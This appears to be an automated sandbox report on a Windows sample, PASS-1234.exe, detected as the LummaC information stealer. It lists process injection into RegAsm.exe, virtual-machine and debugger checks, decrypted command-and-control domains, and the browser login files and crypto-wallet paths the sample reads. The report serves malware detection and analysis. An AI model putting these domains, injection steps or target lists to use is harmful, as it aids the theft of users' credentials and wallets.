Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D8125D	0_2_00D8125D
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00E01518	0_2_00E01518
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D918BA	0_2_00D918BA
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00E01858	0_2_00E01858
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D7594B	0_2_00D7594B
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D75DCF	0_2_00D75DCF
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00DF9F18	0_2_00DF9F18
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D5E170	0_2_00D5E170
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D76240	0_2_00D76240
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D92482	0_2_00D92482
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D7667E	0_2_00D7667E
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D5E7E0	0_2_00D5E7E0
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D9A967	0_2_00D9A967
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D76ACF	0_2_00D76ACF
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D5AB4B	0_2_00D5AB4B
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D5ED20	0_2_00D5ED20
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D76F0D	0_2_00D76F0D
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D77436	0_2_00D77436
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D2364B	0_2_00D2364B
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D2364B	0_2_00D2364B
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D2364B	0_2_00D2364B
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D5B8E0	0_2_00D5B8E0
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00DE7878	0_2_00DE7878
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D77972	0_2_00D77972
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00421440	1_2_00421440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00404690	1_2_00404690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00406060	1_2_00406060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00401000	1_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0043B0E0	1_2_0043B0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0042120A	1_2_0042120A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00403230	1_2_00403230
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00405320	1_2_00405320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0043B420	1_2_0043B420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00423D4E	1_2_00423D4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00436590	1_2_00436590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00406630	1_2_00406630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004016F0	1_2_004016F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0042672B	1_2_0042672B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00408910	1_2_00408910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041C992	1_2_0041C992
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00433AE0	1_2_00433AE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00403C80	1_2_00403C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00407C90	1_2_00407C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00425E62	1_2_00425E62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041CE64	1_2_0041CE64
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00436E00	1_2_00436E00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00402E10	1_2_00402E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041DFF1	1_2_0041DFF1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0040F3F0 appears 158 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004086D0 appears 44 times
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: String function: 00D02234 appears 49 times
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: String function: 00D0525E appears 33 times
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: String function: 00D03080 appears 58 times
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: String function: 00D8A688 appears 38 times

Source: PASS-1234.exe

Static PE information: invalid certificate

Source: PASS-1234.exe, 00000000.00000000.1659906886.0000000000E28000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameInfDefaultInstall.EXEj% vs PASS-1234.exe
Source: PASS-1234.exe	Binary or memory string: OriginalFilenameInfDefaultInstall.EXEj% vs PASS-1234.exe

Source: PASS-1234.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@2/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0042B5D0 CoCreateInstance,

1_2_0042B5D0

Source: PASS-1234.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\PASS-1234.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PASS-1234.exe

Virustotal: Detection: 33%

Source: unknown	Process created: C:\Users\user\Desktop\PASS-1234.exe "C:\Users\user\Desktop\PASS-1234.exe"
Source: C:\Users\user\Desktop\PASS-1234.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\PASS-1234.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PASS-1234.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASS-1234.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: PASS-1234.exe

Static file information: File size 1229424 > 1048576

Source: PASS-1234.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: PASS-1234.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: PASS-1234.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: PASS-1234.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: PASS-1234.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: PASS-1234.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: PASS-1234.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: PASS-1234.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: C:\befqhkpyn\Knonzzz.pdb source: PASS-1234.exe

Source: PASS-1234.exe

Static PE information: real checksum: 0x136e7a should be: 0x139d60

Source: PASS-1234.exe

Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D021CB push ecx; ret	0_2_00D3FB13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004401BF push ebx; retf	1_2_004401C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004407F6 push esp; iretd	1_2_004407F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0042D8EC push 20D3F748h; ret	1_2_0042D8F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004419E9 push ebp; iretd	1_2_004419F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00440AC9 pushfd ; iretd	1_2_00440ACD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00440AE6 push 00000078h; iretd	1_2_00440AFD

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\PASS-1234.exe

API coverage: 7.2 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5968	Thread sleep time: -60000s >= -30000s			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2896	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D95B4B FindFirstFileExW,		0_2_00D95B4B
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D9602F FindFirstFileExW,FindNextFileW,FindClose,FindClose,		0_2_00D9602F

Source: RegAsm.exe, 00000001.00000002.1747804223.000000000151B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 00000001.00000002.1747785888.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_00435C40 LdrInitializeThunk,

1_2_00435C40

Source: C:\Users\user\Desktop\PASS-1234.exe

Code function: 0_2_00D50955 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00D50955

Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D9889B mov eax, dword ptr fs:[00000030h]	0_2_00D9889B
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D8542B mov ecx, dword ptr fs:[00000030h]	0_2_00D8542B
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D985E7 mov eax, dword ptr fs:[00000030h]	0_2_00D985E7
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D986FE mov eax, dword ptr fs:[00000030h]	0_2_00D986FE
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D9868D mov eax, dword ptr fs:[00000030h]	0_2_00D9868D
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D9863A mov eax, dword ptr fs:[00000030h]	0_2_00D9863A
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D987F1 mov eax, dword ptr fs:[00000030h]	0_2_00D987F1
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D988D8 mov eax, dword ptr fs:[00000030h]	0_2_00D988D8
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D98846 mov eax, dword ptr fs:[00000030h]	0_2_00D98846

Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D50955 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00D50955
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D3F7BA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00D3F7BA
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D3FB66 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00D3FB66

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\PASS-1234.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\PASS-1234.exe

Code function: 0_2_00E129C5 CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,

0_2_00E129C5

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\PASS-1234.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: PASS-1234.exe	String found in binary or memory: tolerateilusidjukl.shop
Source: PASS-1234.exe	String found in binary or memory: shatterbreathepsw.shop
Source: PASS-1234.exe	String found in binary or memory: sideindexfollowragelrew.pw
Source: PASS-1234.exe	String found in binary or memory: productivelookewr.shop
Source: PASS-1234.exe	String found in binary or memory: demonstationfukewko.shop
Source: PASS-1234.exe	String found in binary or memory: alcojoldwograpciw.shop
Source: PASS-1234.exe	String found in binary or memory: liabilitynighstjsko.shop
Source: PASS-1234.exe	String found in binary or memory: shortsvelventysjo.shop
Source: PASS-1234.exe	String found in binary or memory: incredibleextedwj.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\PASS-1234.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\PASS-1234.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\PASS-1234.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43C000	Jump to behavior
Source: C:\Users\user\Desktop\PASS-1234.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43F000	Jump to behavior
Source: C:\Users\user\Desktop\PASS-1234.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44A000	Jump to behavior
Source: C:\Users\user\Desktop\PASS-1234.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 11AE008	Jump to behavior

Source: C:\Users\user\Desktop\PASS-1234.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Jump to behavior

Source: C:\Users\user\Desktop\PASS-1234.exe

Code function: 0_2_00D3F337 cpuid

0_2_00D3F337

Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: GetLocaleInfoEx,FormatMessageA,	0_2_00D14B3D
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: GetLocaleInfoEx,	0_2_00D3DC1F
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: EnumSystemLocalesW,	0_2_00D89F1F
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: EnumSystemLocalesW,	0_2_00D8A10E
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: GetLocaleInfoW,	0_2_00D8AC69
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00D9B05F
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: EnumSystemLocalesW,	0_2_00D9B3A8
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: EnumSystemLocalesW,	0_2_00D9B4EB
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: EnumSystemLocalesW,	0_2_00D9B42A
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00D9B598
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: GetLocaleInfoW,	0_2_00D9B87F
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00D9B9F2
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: GetLocaleInfoW,	0_2_00D9BB39
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00D9BC3B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\PASS-1234.exe

Code function: 0_2_00D8ACB7 GetSystemTimeAsFileTime,

0_2_00D8ACB7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegAsm.exe, 00000001.00000002.1747903838.0000000001562000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000001.00000002.1747679285.00000000012F7000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: 6Ah6Ah6AWallets/ElectrumA
Source: RegAsm.exe, 00000001.00000002.1747679285.00000000012F7000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: 6Ah6AWallets/JAXX New VersionA
Source: RegAsm.exe, 00000001.00000002.1747679285.00000000012F7000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: Awindow-state.json
Source: RegAsm.exe, 00000001.00000002.1747679285.00000000012F7000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: 6Ah6Ah6AWallets/ExodusAC:\Users\user\AppData\Roaming\Exodus\exodus.wallet4
Source: RegAsm.exe, 00000001.00000002.1747679285.00000000012F7000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: 6Ah6Ah6AWallets/ExodusAC:\Users\user\AppData\Roaming\Exodus\exodus.wallet4
Source: RegAsm.exe, 00000001.00000002.1747679285.00000000012F7000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: h6Aapp-store.jsonAWallets/BinanceC:\Users\user\AppData\Roaming\BinanceA%appdata%\Binance
Source: RegAsm.exe, 00000001.00000002.1747679285.00000000012F7000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: h6AWallets/EthereumA
Source: RegAsm.exe, 00000001.00000002.1747679285.00000000012F7000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: 6Ah6Ah6AWallets/CoinomiC:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: RegAsm.exe, 00000001.00000002.1747679285.00000000012F7000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: A%appdata%\Exodus\exodus.walletAkeystoreT
Source: RegAsm.exe, 00000001.00000002.1747679285.00000000012F7000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: AC:\Users\user\AppData\Roaming\Ledger Live+

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
